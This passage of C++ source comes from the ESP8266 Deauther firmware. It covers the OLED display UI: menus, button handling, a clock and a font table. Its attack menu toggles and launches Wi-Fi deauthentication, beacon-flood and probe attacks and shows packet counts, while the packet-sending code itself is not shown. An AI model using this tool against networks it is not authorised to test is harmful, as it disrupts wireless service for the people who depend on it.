names.getSelected(selectedID) ? names.deselect(selectedID) : names.select(selectedID);
});
addMenuNode(&nameMenu, D_REMOVE, [this]() { // REMOVE
names.remove(selectedID);
nameListMenu.list->remove(nameListMenu.selected);
goBack();
});
});
// SSID MENU
createMenu(&ssidMenu, &ssidListMenu, [this]() {
addMenuNode(&ssidMenu, [this]() {
return ssids.getName(selectedID).substring(0, ssids.getLen(selectedID));
}, NULL); // SSID
addMenuNode(&ssidMenu, [this]() {
return str(D_ENCRYPTION) + ssids.getEncStr(selectedID); // WPA2
}, [this]() {
ssids.setWPA2(selectedID, !ssids.getWPA2(selectedID));
});
addMenuNode(&ssidMenu, D_REMOVE, [this]() { // REMOVE
ssids.remove(selectedID);
ssidListMenu.list->remove(ssidListMenu.selected);
goBack();
});
});
// ATTACK MENU
createMenu(&attackMenu, &mainMenu, [this]() {
addMenuNode(&attackMenu, [this]() { // *DEAUTH 0/0
if (attack.isRunning()) return leftRight(b2a(deauthSelected) + str(D_DEAUTH),
(String)attack.getDeauthPkts() + SLASH +
(String)attack.getDeauthMaxPkts(), maxLen - 1);
else return leftRight(b2a(deauthSelected) + str(D_DEAUTH), (String)scan.countSelected(), maxLen - 1);
}, [this]() { // deauth
deauthSelected = !deauthSelected;
if (attack.isRunning()) {
attack.start(beaconSelected, deauthSelected, false, probeSelected, true,
settings::getAttackSettings().timeout * 1000);
}
});
addMenuNode(&attackMenu, [this]() { // *BEACON 0/0
if (attack.isRunning()) return leftRight(b2a(beaconSelected) + str(D_BEACON),
(String)attack.getBeaconPkts() + SLASH +
(String)attack.getBeaconMaxPkts(), maxLen - 1);
else return leftRight(b2a(beaconSelected) + str(D_BEACON), (String)ssids.count(), maxLen - 1);
}, [this]() { // beacon
beaconSelected = !beaconSelected;
if (attack.isRunning()) {
attack.start(beaconSelected, deauthSelected, false, probeSelected, true,
settings::getAttackSettings().timeout * 1000);
}
});
addMenuNode(&attackMenu, [this]() { // *PROBE 0/0
if (attack.isRunning()) return leftRight(b2a(probeSelected) + str(D_PROBE),
(String)attack.getProbePkts() + SLASH +
(String)attack.getProbeMaxPkts(), maxLen - 1);
else return leftRight(b2a(probeSelected) + str(D_PROBE), (String)ssids.count(), maxLen - 1);
}, [this]() { // probe
probeSelected = !probeSelected;
if (attack.isRunning()) {
attack.start(beaconSelected, deauthSelected, false, probeSelected, true,
settings::getAttackSettings().timeout * 1000);
}
});
addMenuNode(&attackMenu, [this]() { // START
return leftRight(str(attack.isRunning() ? D_STOP_ATTACK : D_START_ATTACK),
attack.getPacketRate() > 0 ? (String)attack.getPacketRate() : String(), maxLen - 1);
}, [this]() {
if (attack.isRunning()) attack.stop();
else attack.start(beaconSelected, deauthSelected, false, probeSelected, true,
settings::getAttackSettings().timeout * 1000);
});
});
// CLOCK MENU
createMenu(&clockMenu, &mainMenu, [this]() {
addMenuNode(&clockMenu, D_CLOCK_DISPLAY, [this]() { // CLOCK
mode = DISPLAY_MODE::CLOCK_DISPLAY;
display.setFont(ArialMT_Plain_24);
display.setTextAlignment(TEXT_ALIGN_CENTER);
});
addMenuNode(&clockMenu, D_CLOCK_SET, [this]() { // CLOCK SET TIME
mode = DISPLAY_MODE::CLOCK;
display.setFont(ArialMT_Plain_24);
display.setTextAlignment(TEXT_ALIGN_CENTER);
});
});
// ===================== //
// set current menu to main menu
changeMenu(&mainMenu);
enabled = true;
startTime = currentTime;
}
#ifdef HIGHLIGHT_LED
void DisplayUI::setupLED() {
pinMode(HIGHLIGHT_LED, OUTPUT);
digitalWrite(HIGHLIGHT_LED, HIGH);
highlightLED = true;
}
#endif // ifdef HIGHLIGHT_LED
void DisplayUI::update(bool force) {
if (!enabled) return;
up->update();
down->update();
a->update();
b->update();
draw(force);
uint32_t timeout = settings::getDisplaySettings().timeout * 1000;
if (currentTime > timeout) {
if (!tempOff) {
if (buttonTime < currentTime - timeout) off();
} else {
if (buttonTime > currentTime - timeout) on();
}
}
}
void DisplayUI::on() {
if (enabled) {
configOn();
tempOff = false;
buttonTime = currentTime; // update a button time to keep display on
prntln(D_MSG_DISPLAY_ON);
} else {
prntln(D_ERROR_NOT_ENABLED);
}
}
void DisplayUI::off() {
if (enabled) {
configOff();
tempOff = true;
prntln(D_MSG_DISPLAY_OFF);
} else {
prntln(D_ERROR_NOT_ENABLED);
}
}
void DisplayUI::setupButtons() {
up = new ButtonPullup(BUTTON_UP);
down = new ButtonPullup(BUTTON_DOWN);
a = new ButtonPullup(BUTTON_A);
b = new ButtonPullup(BUTTON_B);
// === BUTTON UP === //
up->setOnClicked([this]() {
scrollCounter = 0;
scrollTime = currentTime;
buttonTime = currentTime;
if (!tempOff) {
if (mode == DISPLAY_MODE::MENU) { // when in menu, go up or down with cursor
if (currentMenu->selected > 0) currentMenu->selected--;
else currentMenu->selected = currentMenu->list->size() - 1;
} else if (mode == DISPLAY_MODE::PACKETMONITOR) { // when in packet monitor, change channel
scan.setChannel(wifi_channel + 1);
} else if (mode == DISPLAY_MODE::CLOCK) { // when in clock, change time
setTime(clockHour, clockMinute + 1, clockSecond);
}
}
});
up->setOnHolding([this]() {
scrollCounter = 0;
scrollTime = currentTime;
buttonTime = currentTime;
if (!tempOff) {
if (mode == DISPLAY_MODE::MENU) { // when in menu, go up or down with cursor
if (currentMenu->selected > 0) currentMenu->selected--;
else currentMenu->selected = currentMenu->list->size() - 1;
} else if (mode == DISPLAY_MODE::PACKETMONITOR) { // when in packet monitor, change channel
scan.setChannel(wifi_channel + 1);
} else if (mode == DISPLAY_MODE::CLOCK) { // when in clock, change time
setTime(clockHour, clockMinute + 10, clockSecond);
}
}
}, buttonDelay);
// === BUTTON DOWN === //
down->setOnClicked([this]() {
scrollCounter = 0;
scrollTime = currentTime;
buttonTime = currentTime;
if (!tempOff) {
if (mode == DISPLAY_MODE::MENU) { // when in menu, go up or down with cursor
if (currentMenu->selected < currentMenu->list->size() - 1) currentMenu->selected++;
else currentMenu->selected = 0;
} else if (mode == DISPLAY_MODE::PACKETMONITOR) { // when in packet monitor, change channel
scan.setChannel(wifi_channel - 1);
} else if (mode == DISPLAY_MODE::CLOCK) { // when in clock, change time
setTime(clockHour, clockMinute - 1, clockSecond);
}
}
});
down->setOnHolding([this]() {
scrollCounter = 0;
scrollTime = currentTime;
buttonTime = currentTime;
if (!tempOff) {
if (mode == DISPLAY_MODE::MENU) { // when in menu, go up or down with cursor
if (currentMenu->selected < currentMenu->list->size() - 1) currentMenu->selected++;
else currentMenu->selected = 0;
} else if (mode == DISPLAY_MODE::PACKETMONITOR) { // when in packet monitor, change channel
scan.setChannel(wifi_channel - 1);
}
else if (mode == DISPLAY_MODE::CLOCK) { // when in clock, change time
setTime(clockHour, clockMinute - 10, clockSecond);
}
}
}, buttonDelay);
// === BUTTON A === //
a->setOnClicked([this]() {
scrollCounter = 0;
scrollTime = currentTime;
buttonTime = currentTime;
if (!tempOff) {
switch (mode) {
case DISPLAY_MODE::MENU:
if (currentMenu->list->get(currentMenu->selected).click) {
currentMenu->list->get(currentMenu->selected).click();
}
break;
case DISPLAY_MODE::PACKETMONITOR:
case DISPLAY_MODE::LOADSCAN:
scan.stop();
mode = DISPLAY_MODE::MENU;
break;
case DISPLAY_MODE::CLOCK:
case DISPLAY_MODE::CLOCK_DISPLAY:
mode = DISPLAY_MODE::MENU;
display.setFont(DejaVu_Sans_Mono_12);
display.setTextAlignment(TEXT_ALIGN_LEFT);
break;
}
}
});
a->setOnHolding([this]() {
scrollCounter = 0;
scrollTime = currentTime;
buttonTime = currentTime;
if (!tempOff) {
if (mode == DISPLAY_MODE::MENU) {
if (currentMenu->list->get(currentMenu->selected).hold) {
currentMenu->list->get(currentMenu->selected).hold();
}
}
}
}, 800);
// === BUTTON B === //
b->setOnClicked([this]() {
scrollCounter = 0;
scrollTime = currentTime;
buttonTime = currentTime;
if (!tempOff) {
switch (mode) {
case DISPLAY_MODE::MENU:
goBack();
break;
case DISPLAY_MODE::PACKETMONITOR:
case DISPLAY_MODE::LOADSCAN:
scan.stop();
mode = DISPLAY_MODE::MENU;
break;
case DISPLAY_MODE::CLOCK:
mode = DISPLAY_MODE::MENU;
display.setFont(DejaVu_Sans_Mono_12);
display.setTextAlignment(TEXT_ALIGN_LEFT);
break;
}
}
});
}
String DisplayUI::getChannel() {
String ch = String(wifi_channel);
if (ch.length() < 2) ch = ' ' + ch;
return ch;
}
void DisplayUI::draw(bool force) {
if (force || ((currentTime - drawTime > drawInterval) && currentMenu)) {
drawTime = currentTime;
updatePrefix();
#ifdef RTC_DS3231
bool h12;
bool PM_time;
clockHour = clock.getHour(h12, PM_time);
clockMinute = clock.getMinute();
clockSecond = clock.getSecond();
#else // ifdef RTC_DS3231
if (currentTime - clockTime >= 1000) {
setTime(clockHour, clockMinute, ++clockSecond);
clockTime += 1000;
}
#endif // ifdef RTC_DS3231
switch (mode) {
case DISPLAY_MODE::BUTTON_TEST:
drawButtonTest();
break;
case DISPLAY_MODE::MENU:
drawMenu();
break;
case DISPLAY_MODE::LOADSCAN:
drawLoadingScan();
break;
case DISPLAY_MODE::PACKETMONITOR:
drawPacketMonitor();
break;
case DISPLAY_MODE::INTRO:
if (!scan.isScanning() && (currentTime - startTime >= screenIntroTime)) {
mode = DISPLAY_MODE::MENU;
}
drawIntro();
break;
case DISPLAY_MODE::CLOCK:
case DISPLAY_MODE::CLOCK_DISPLAY:
drawClock();
break;
case DISPLAY_MODE::RESETTING:
drawResetting();
break;
}
updateSuffix();
}
}
void DisplayUI::drawButtonTest() {
drawString(0, str(D_UP) + b2s(up->read()));
drawString(1, str(D_DOWN) + b2s(down->read()));
drawString(2, str(D_A) + b2s(a->read()));
drawString(3, str(D_B) + b2s(b->read()));
}
void DisplayUI::drawMenu() {
String tmp;
int tmpLen;
int row = (currentMenu->selected / 5) * 5;
// correct selected if it's off
if (currentMenu->selected < 0) currentMenu->selected = 0;
else if (currentMenu->selected >= currentMenu->list->size()) currentMenu->selected = currentMenu->list->size() - 1;
// draw menu entries
for (int i = row; i < currentMenu->list->size() && i < row + 5; i++) {
tmp = currentMenu->list->get(i).getStr();
tmpLen = tmp.length();
// horizontal scrolling
if ((currentMenu->selected == i) && (tmpLen >= maxLen)) {
tmp = tmp + tmp;
tmp = tmp.substring(scrollCounter, scrollCounter + maxLen - 1);
if (((scrollCounter > 0) && (scrollTime < currentTime - scrollSpeed)) || ((scrollCounter == 0) && (scrollTime < currentTime - scrollSpeed * 4))) {
scrollTime = currentTime;
scrollCounter++;
}
if (scrollCounter > tmpLen) scrollCounter = 0;
}
tmp = (currentMenu->selected == i ? CURSOR : SPACE) + tmp;
drawString(0, (i - row) * 12, tmp);
}
}
void DisplayUI::drawLoadingScan() {
String percentage;
if (scan.isScanning()) {
percentage = String(scan.getPercentage()) + '%';
} else {
percentage = str(DSP_SCAN_DONE);
}
drawString(0, leftRight(str(DSP_SCAN_FOR), scan.getMode(), maxLen));
drawString(1, leftRight(str(DSP_APS), String(accesspoints.count()), maxLen));
drawString(2, leftRight(str(DSP_STS), String(stations.count()), maxLen));
drawString(3, leftRight(str(DSP_PKTS), String(scan.getPacketRate()) + str(DSP_S), maxLen));
drawString(4, center(percentage, maxLen));
}
void DisplayUI::drawPacketMonitor() {
double scale = scan.getScaleFactor(sreenHeight - lineHeight - 2);
String headline = leftRight(str(D_CH) + getChannel() + String(' ') + String('[') + String(scan.deauths) + String(']'), String(scan.getPacketRate()) + str(D_PKTS), maxLen);
drawString(0, 0, headline);
if (scan.getMaxPacket() > 0) {
int i = 0;
int x = 0;
int y = 0;
while (i < SCAN_PACKET_LIST_SIZE && x < screenWidth) {
y = (sreenHeight-1) - (scan.getPackets(i) * scale);
i++;
// Serial.printf("%d,%d -> %d,%d\n", x, (sreenHeight-1), x, y);
drawLine(x, (sreenHeight-1), x, y);
x++;
// Serial.printf("%d,%d -> %d,%d\n", x, (sreenHeight-1), x, y);
drawLine(x, (sreenHeight-1), x, y);
x++;
}
// Serial.println("---------");
}
}
void DisplayUI::drawIntro() {
drawString(0, center(str(D_INTRO_0), maxLen));
drawString(1, center(str(D_INTRO_1), maxLen));
drawString(2, center(str(D_INTRO_2), maxLen));
drawString(3, center(DEAUTHER_VERSION, maxLen));
if (scan.isScanning()) {
if (currentTime - startTime >= screenIntroTime+4500) drawString(4, left(str(D_SCANNING_3), maxLen));
else if (currentTime - startTime >= screenIntroTime+3000) drawString(4, left(str(D_SCANNING_2), maxLen));
else if (currentTime - startTime >= screenIntroTime+1500) drawString(4, left(str(D_SCANNING_1), maxLen));
else if (currentTime - startTime >= screenIntroTime) drawString(4, left(str(D_SCANNING_0), maxLen));
}
}
void DisplayUI::drawClock() {
String clockTime = String(clockHour);
clockTime += ':';
if (clockMinute < 10) clockTime += '0';
clockTime += String(clockMinute);
display.drawString(64, 20, clockTime);
}
void DisplayUI::drawResetting() {
drawString(2, center(str(D_RESETTING), maxLen));
}
void DisplayUI::clearMenu(Menu* menu) {
while (menu->list->size() > 0) {
menu->list->remove(0);
}
}
void DisplayUI::changeMenu(Menu* menu) {
if (menu) {
// only open list menu if it has nodes
if (((menu == &apListMenu) && (accesspoints.count() == 0)) ||
((menu == &stationListMenu) && (stations.count() == 0)) ||
((menu == &nameListMenu) && (names.count() == 0))) {
return;
}
if (currentMenu) clearMenu(currentMenu);
currentMenu = menu;
currentMenu->selected = 0;
buttonTime = currentTime;
if (selectedID < 0) selectedID = 0;
if (currentMenu->parentMenu) {
addMenuNode(currentMenu, D_BACK, currentMenu->parentMenu); // add [BACK]
currentMenu->selected = 1;
}
if (currentMenu->build) currentMenu->build();
}
}
void DisplayUI::goBack() {
if (currentMenu->parentMenu) changeMenu(currentMenu->parentMenu);
}
void DisplayUI::createMenu(Menu* menu, Menu* parent, std::function<void()>build) {
menu->list = new SimpleList<MenuNode>;
menu->parentMenu = parent;
menu->selected = 0;
menu->build = build;
}
void DisplayUI::addMenuNode(Menu* menu, std::function<String()>getStr, std::function<void()>click,
std::function<void()>hold) {
menu->list->add(MenuNode{ getStr, click, hold });
}
void DisplayUI::addMenuNode(Menu* menu, std::function<String()>getStr, std::function<void()>click) {
addMenuNode(menu, getStr, click, NULL);
}
void DisplayUI::addMenuNode(Menu* menu, std::function<String()>getStr, Menu* next) {
addMenuNode(menu, getStr, [this, next]() {
changeMenu(next);
});
}
void DisplayUI::addMenuNode(Menu* menu, const char* ptr, std::function<void()>click) {
addMenuNode(menu, [ptr]() {
return str(ptr);
}, click);
}
void DisplayUI::addMenuNode(Menu* menu, const char* ptr, Menu* next) {
addMenuNode(menu, [ptr]() {
return str(ptr);
}, next);
}
void DisplayUI::setTime(int h, int m, int s) {
if (s >= 60) {
s = 0;
m++;
}
if (m >= 60) {
m = 0;
h++;
}
if (h >= 24) {
h = 0;
}
if (s < 0) {
s = 59;
m--;
}
if (m < 0) {
m = 59;
h--;
}
if (h < 0) {
h = 23;
}
clockHour = h;
clockMinute = m;
clockSecond = s;
#ifdef RTC_DS3231
clock.setHour(clockHour);
clock.setMinute(clockMinute);
clock.setSecond(clockSecond);
#endif // ifdef RTC_DS3231
}
================================================
FILE: esp8266_deauther/DisplayUI.h
================================================
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#pragma once
#include "language.h"
#include "A_config.h"
#include "Names.h"
#include "SSIDs.h"
#include "Scan.h"
#include "Attack.h"
// ===== adjustable ===== //
#if defined(SSD1306_I2C)
#include <Wire.h>
#include "src/esp8266-oled-ssd1306-4.1.0/SSD1306Wire.h"
#elif defined(SSD1306_SPI)
#include <SPI.h>
#include "src/esp8266-oled-ssd1306-4.1.0/SSD1306Spi.h"
#elif defined(SH1106_I2C)
#include <Wire.h>
#include "src/esp8266-oled-ssd1306-4.1.0/SH1106Wire.h"
#elif defined(SH1106_SPI)
#include <SPI.h>
#include "src/esp8266-oled-ssd1306-4.1.0/SH1106Spi.h"
#endif /* if defined(SSD1306_I2C) */
#ifdef RTC_DS3231
#include "src/DS3231-1.0.3/DS3231.h"
#endif // ifdef RTC_DS3231
#include "src/SimpleButton/SimpleButton.h"
using namespace simplebutton;
extern Names names;
extern SSIDs ssids;
extern Accesspoints accesspoints;
extern Stations stations;
extern Scan scan;
extern Attack attack;
extern uint32_t currentTime;
extern String leftRight(String a, String b, int len);
extern String center(String a, int len);
extern String left(String a, int len);
extern String right(String a, int len);
extern String leftRight(String a, String b, int len);
extern String replaceUtf8(String str, String r);
const char D_INTRO_0[] PROGMEM = "ESP8266 Deauther";
const char D_INTRO_1[] PROGMEM = "by @Spacehuhn";
const char D_INTRO_2[] PROGMEM = DISPLAY_TEXT;
const char D_RESETTING[] PROGMEM = "Resetting...";
const char D_SCANNING_0[] PROGMEM = "> Scanning";
const char D_SCANNING_1[] PROGMEM = "> Scanning.";
const char D_SCANNING_2[] PROGMEM = "> Scanning..";
const char D_SCANNING_3[] PROGMEM = "> Scanning...";
struct MenuNode {
std::function<String()>getStr; // function used to create the displayed string
std::function<void()> click; // function that is executed when node is clicked
std::function<void()> hold; // function that is executed when node is pressed for > 800ms
};
struct Menu {
SimpleList<MenuNode>* list;
Menu * parentMenu;
uint8_t selected;
std::function<void()> build; // function that is executed when button is clicked
};
enum class DISPLAY_MODE { OFF,
BUTTON_TEST,
MENU,
LOADSCAN,
PACKETMONITOR,
INTRO,
CLOCK,
CLOCK_DISPLAY,
RESETTING };
class DisplayUI {
public:
DISPLAY_MODE mode = DISPLAY_MODE::MENU;
bool highlightLED = false;
Button* up = NULL;
Button* down = NULL;
Button* a = NULL;
Button* b = NULL;
// ===== adjustable ===== //
#if defined(SSD1306_I2C)
SSD1306Wire display = SSD1306Wire(I2C_ADDR, I2C_SDA, I2C_SCL);
#elif defined(SSD1306_SPI)
SSD1306Spi display = SSD1306Spi(SPI_RES, SPI_DC, SPI_CS);
#elif defined(SH1106_I2C)
SH1106Wire display = SH1106Wire(I2C_ADDR, I2C_SDA, I2C_SCL);
#elif defined(SH1106_SPI)
SH1106Spi display = SH1106Spi(SPI_RES, SPI_DC, SPI_CS);
#endif /* if defined(SSD1306_I2C) */
const uint8_t maxLen = 18;
const uint8_t lineHeight = 12;
const uint8_t buttonDelay = 250;
const uint8_t drawInterval = 100; // 100ms = 10 FPS
const uint16_t scrollSpeed = 500; // time interval in ms
const uint16_t screenIntroTime = 2500;
const uint16_t screenWidth = 128;
const uint16_t sreenHeight = 64;
void configInit();
void configOn();
void configOff();
void updatePrefix();
void updateSuffix();
void drawString(int x, int y, String str);
void drawString(int row, String str);
void drawLine(int x1, int y1, int x2, int y2);
// ====================== //
DisplayUI();
~DisplayUI();
void setup();
#ifdef HIGHLIGHT_LED
void setupLED();
#endif // ifdef HIGHLIGHT_LED
void update(bool force = false);
void on();
void off();
private:
int16_t selectedID = 0; // i.e. access point ID to draw the apMenu
uint8_t scrollCounter = 0; // for horizontal scrolling
uint32_t scrollTime = 0; // last time a character was moved
uint32_t drawTime = 0; // last time a frame was drawn
uint32_t startTime = 0; // when the screen was enabled
uint32_t buttonTime = 0; // last time a button was pressed
bool enabled = false; // display enabled
bool tempOff = false;
// selected attack modes
bool beaconSelected = false;
bool deauthSelected = false;
bool probeSelected = false;
// menus
Menu* currentMenu;
Menu mainMenu;
Menu scanMenu;
Menu showMenu;
Menu attackMenu;
Menu clockMenu;
Menu apListMenu;
Menu stationListMenu;
Menu nameListMenu;
Menu ssidListMenu;
Menu apMenu;
Menu stationMenu;
Menu nameMenu;
Menu ssidMenu;
void setupButtons();
String getChannel();
// draw functions
void draw(bool force = false);
void drawButtonTest();
void drawMenu();
void drawLoadingScan();
void drawPacketMonitor();
void drawIntro();
void drawResetting();
void clearMenu(Menu* menu);
// menu functions
void changeMenu(Menu* menu);
void goBack();
void createMenu(Menu* menu, Menu* parent, std::function<void()>build);
void addMenuNode(Menu* menu, std::function<String()>getStr, std::function<void()>click, std::function<void()>hold);
void addMenuNode(Menu* menu, std::function<String()>getStr, std::function<void()>click);
void addMenuNode(Menu* menu, std::function<String()>getStr, Menu* next);
void addMenuNode(Menu* menu, const char* ptr, std::function<void()>click);
void addMenuNode(Menu* menu, const char* ptr, Menu* next);
// fake clock
void drawClock();
void setTime(int h, int m, int s);
int clockHour = 6;
int clockMinute = 0;
int clockSecond = 0;
uint32_t clockTime = 0;
#ifdef RTC_DS3231
DS3231 clock;
#endif // ifdef RTC_DS3231
};
// ===== FONT ===== //
// Created by http://oleddisplay.squix.ch/ Consider a donation
// In case of problems make sure that you are using the font file with the correct version!
const uint8_t DejaVu_Sans_Mono_12[] PROGMEM = {
0x07, // Width: 7
0x0F, // Height: 15
0x20, // First Char: 32
0xE0, // Numbers of Chars: 224
// Jump Table:
0xFF, 0xFF, 0x00, 0x07, // 32:65535
0x00, 0x00, 0x08, 0x07, // 33:0
0x00, 0x08, 0x09, 0x07, // 34:8
0x00, 0x11, 0x0D, 0x07, // 35:17
0x00, 0x1E, 0x0C, 0x07, // 36:30
0x00, 0x2A, 0x0E, 0x07, // 37:42
0x00, 0x38, 0x0E, 0x07, // 38:56
0x00, 0x46, 0x07, 0x07, // 39:70
0x00, 0x4D, 0x0C, 0x07, // 40:77
0x00, 0x59, 0x0A, 0x07, // 41:89
0x00, 0x63, 0x0B, 0x07, // 42:99
0x00, 0x6E, 0x0E, 0x07, // 43:110
0x00, 0x7C, 0x08, 0x07, // 44:124
0x00, 0x84, 0x0A, 0x07, // 45:132
0x00, 0x8E, 0x08, 0x07, // 46:142
0x00, 0x96, 0x0D, 0x07, // 47:150
0x00, 0xA3, 0x0E, 0x07, // 48:163
0x00, 0xB1, 0x0C, 0x07, // 49:177
0x00, 0xBD, 0x0E, 0x07, // 50:189
0x00, 0xCB, 0x0E, 0x07, // 51:203
0x00, 0xD9, 0x0E, 0x07, // 52:217
0x00, 0xE7, 0x0E, 0x07, // 53:231
0x00, 0xF5, 0x0E, 0x07, // 54:245
0x01, 0x03, 0x0D, 0x07, // 55:259
0x01, 0x10, 0x0E, 0x07, // 56:272
0x01, 0x1E, 0x0E, 0x07, // 57:286
0x01, 0x2C, 0x08, 0x07, // 58:300
0x01, 0x34, 0x08, 0x07, // 59:308
0x01, 0x3C, 0x0E, 0x07, // 60:316
0x01, 0x4A, 0x0E, 0x07, // 61:330
0x01, 0x58, 0x0E, 0x07, // 62:344
0x01, 0x66, 0x0D, 0x07, // 63:358
0x01, 0x73, 0x0E, 0x07, // 64:371
0x01, 0x81, 0x0E, 0x07, // 65:385
0x01, 0x8F, 0x0E, 0x07, // 66:399
0x01, 0x9D, 0x0E, 0x07, // 67:413
0x01, 0xAB, 0x0E, 0x07, // 68:427
0x01, 0xB9, 0x0E, 0x07, // 69:441
0x01, 0xC7, 0x0D, 0x07, // 70:455
0x01, 0xD4, 0x0E, 0x07, // 71:468
0x01, 0xE2, 0x0E, 0x07, // 72:482
0x01, 0xF0, 0x0C, 0x07, // 73:496
0x01, 0xFC, 0x0C, 0x07, // 74:508
0x02, 0x08, 0x0E, 0x07, // 75:520
0x02, 0x16, 0x0E, 0x07, // 76:534
0x02, 0x24, 0x0E, 0x07, // 77:548
0x02, 0x32, 0x0E, 0x07, // 78:562
0x02, 0x40, 0x0E, 0x07, // 79:576
0x02, 0x4E, 0x0D, 0x07, // 80:590
0x02, 0x5B, 0x0E, 0x07, // 81:603
0x02, 0x69, 0x0E, 0x07, // 82:617
0x02, 0x77, 0x0E, 0x07, // 83:631
0x02, 0x85, 0x0D, 0x07, // 84:645
0x02, 0x92, 0x0E, 0x07, // 85:658
0x02, 0xA0, 0x0D, 0x07, // 86:672
0x02, 0xAD, 0x0E, 0x07, // 87:685
0x02, 0xBB, 0x0E, 0x07, // 88:699
0x02, 0xC9, 0x0D, 0x07, // 89:713
0x02, 0xD6, 0x0E, 0x07, // 90:726
0x02, 0xE4, 0x0A, 0x07, // 91:740
0x02, 0xEE, 0x0E, 0x07, // 92:750
0x02, 0xFC, 0x08, 0x07, // 93:764
0x03, 0x04, 0x0B, 0x07, // 94:772
0x03, 0x0F, 0x0E, 0x07, // 95:783
0x03, 0x1D, 0x09, 0x07, // 96:797
0x03, 0x26, 0x0C, 0x07, // 97:806
0x03, 0x32, 0x0C, 0x07, // 98:818
0x03, 0x3E, 0x0C, 0x07, // 99:830
0x03, 0x4A, 0x0C, 0x07, // 100:842
0x03, 0x56, 0x0C, 0x07, // 101:854
0x03, 0x62, 0x0B, 0x07, // 102:866
0x03, 0x6D, 0x0C, 0x07, // 103:877
0x03, 0x79, 0x0C, 0x07, // 104:889
0x03, 0x85, 0x0C, 0x07, // 105:901
0x03, 0x91, 0x0A, 0x07, // 106:913
0x03, 0x9B, 0x0C, 0x07, // 107:923
0x03, 0xA7, 0x0C, 0x07, // 108:935
0x03, 0xB3, 0x0C, 0x07, // 109:947
0x03, 0xBF, 0x0C, 0x07, // 110:959
0x03, 0xCB, 0x0C, 0x07, // 111:971
0x03, 0xD7, 0x0C, 0x07, // 112:983
0x03, 0xE3, 0x0C, 0x07, // 113:995
0x03, 0xEF, 0x0D, 0x07, // 114:1007
0x03, 0xFC, 0x0C, 0x07, // 115:1020
0x04, 0x08, 0x0C, 0x07, // 116:1032
0x04, 0x14, 0x0C, 0x07, // 117:1044
0x04, 0x20, 0x0B, 0x07, // 118:1056
0x04, 0x2B, 0x0D, 0x07, // 119:1067
0x04, 0x38, 0x0C, 0x07, // 120:1080
0x04, 0x44, 0x0B, 0x07, // 121:1092
0x04, 0x4F, 0x0C, 0x07, // 122:1103
0x04, 0x5B, 0x0C, 0x07, // 123:1115
0x04, 0x67, 0x08, 0x07, // 124:1127
0x04, 0x6F, 0x0B, 0x07, // 125:1135
0x04, 0x7A, 0x0E, 0x07, // 126:1146
0x04, 0x88, 0x0E, 0x07, // 127:1160
0x04, 0x96, 0x0E, 0x07, // 128:1174
0x04, 0xA4, 0x0E, 0x07, // 129:1188
0x04, 0xB2, 0x0E, 0x07, // 130:1202
0x04, 0xC0, 0x0E, 0x07, // 131:1216
0x04, 0xCE, 0x0E, 0x07, // 132:1230
0x04, 0xDC, 0x0E, 0x07, // 133:1244
0x04, 0xEA, 0x0E, 0x07, // 134:1258
0x04, 0xF8, 0x0E, 0x07, // 135:1272
0x05, 0x06, 0x0E, 0x07, // 136:1286
0x05, 0x14, 0x0E, 0x07, // 137:1300
0x05, 0x22, 0x0E, 0x07, // 138:1314
0x05, 0x30, 0x0E, 0x07, // 139:1328
0x05, 0x3E, 0x0E, 0x07, // 140:1342
0x05, 0x4C, 0x0E, 0x07, // 141:1356
0x05, 0x5A, 0x0E, 0x07, // 142:1370
0x05, 0x68, 0x0E, 0x07, // 143:1384
0x05, 0x76, 0x0E, 0x07, // 144:1398
0x05, 0x84, 0x0E, 0x07, // 145:1412
0x05, 0x92, 0x0E, 0x07, // 146:1426
0x05, 0xA0, 0x0E, 0x07, // 147:1440
0x05, 0xAE, 0x0E, 0x07, // 148:1454
0x05, 0xBC, 0x0E, 0x07, // 149:1468
0x05, 0xCA, 0x0E, 0x07, // 150:1482
0x05, 0xD8, 0x0E, 0x07, // 151:1496
0x05, 0xE6, 0x0E, 0x07, // 152:1510
0x05, 0xF4, 0x0E, 0x07, // 153:1524
0x06, 0x02, 0x0E, 0x07, // 154:1538
0x06, 0x10, 0x0E, 0x07, // 155:1552
0x06, 0x1E, 0x0E, 0x07, // 156:1566
0x06, 0x2C, 0x0E, 0x07, // 157:1580
0x06, 0x3A, 0x0E, 0x07, // 158:1594
0x06, 0x48, 0x0E, 0x07, // 159:1608
0xFF, 0xFF, 0x00, 0x07, // 160:65535
0x06, 0x56, 0x08, 0x07, // 161:1622
0x06, 0x5E, 0x0C, 0x07, // 162:1630
0x06, 0x6A, 0x0C, 0x07, // 163:1642
0x06, 0x76, 0x0E, 0x07, // 164:1654
0x06, 0x84, 0x0D, 0x07, // 165:1668
0x06, 0x91, 0x08, 0x07, // 166:1681
0x06, 0x99, 0x0C, 0x07, // 167:1689
0x06, 0xA5, 0x09, 0x07, // 168:1701
0x06, 0xAE, 0x0E, 0x07, // 169:1710
0x06, 0xBC, 0x0A, 0x07, // 170:1724
0x06, 0xC6, 0x0E, 0x07, // 171:1734
0x06, 0xD4, 0x0E, 0x07, // 172:1748
0x06, 0xE2, 0x0A, 0x07, // 173:1762
0x06, 0xEC, 0x0E, 0x07, // 174:1772
0x06, 0xFA, 0x0B, 0x07, // 175:1786
0x07, 0x05, 0x0B, 0x07, // 176:1797
0x07, 0x10, 0x0E, 0x07, // 177:1808
0x07, 0x1E, 0x09, 0x07, // 178:1822
0x07, 0x27, 0x0B, 0x07, // 179:1831
0x07, 0x32, 0x09, 0x07, // 180:1842
0x07, 0x3B, 0x0E, 0x07, // 181:1851
0x07, 0x49, 0x0E, 0x07, // 182:1865
0x07, 0x57, 0x08, 0x07, // 183:1879
0x07, 0x5F, 0x0A, 0x07, // 184:1887
0x07, 0x69, 0x09, 0x07, // 185:1897
0x07, 0x72, 0x0A, 0x07, // 186:1906
0x07, 0x7C, 0x0E, 0x07, // 187:1916
0x07, 0x8A, 0x0E, 0x07, // 188:1930
0x07, 0x98, 0x0C, 0x07, // 189:1944
0x07, 0xA4, 0x0E, 0x07, // 190:1956
0x07, 0xB2, 0x0A, 0x07, // 191:1970
0x07, 0xBC, 0x0E, 0x07, // 192:1980
0x07, 0xCA, 0x0E, 0x07, // 193:1994
0x07, 0xD8, 0x0E, 0x07, // 194:2008
0x07, 0xE6, 0x0E, 0x07, // 195:2022
0x07, 0xF4, 0x0E, 0x07, // 196:2036
0x08, 0x02, 0x0E, 0x07, // 197:2050
0x08, 0x10, 0x0E, 0x07, // 198:2064
0x08, 0x1E, 0x0E, 0x07, // 199:2078
0x08, 0x2C, 0x0E, 0x07, // 200:2092
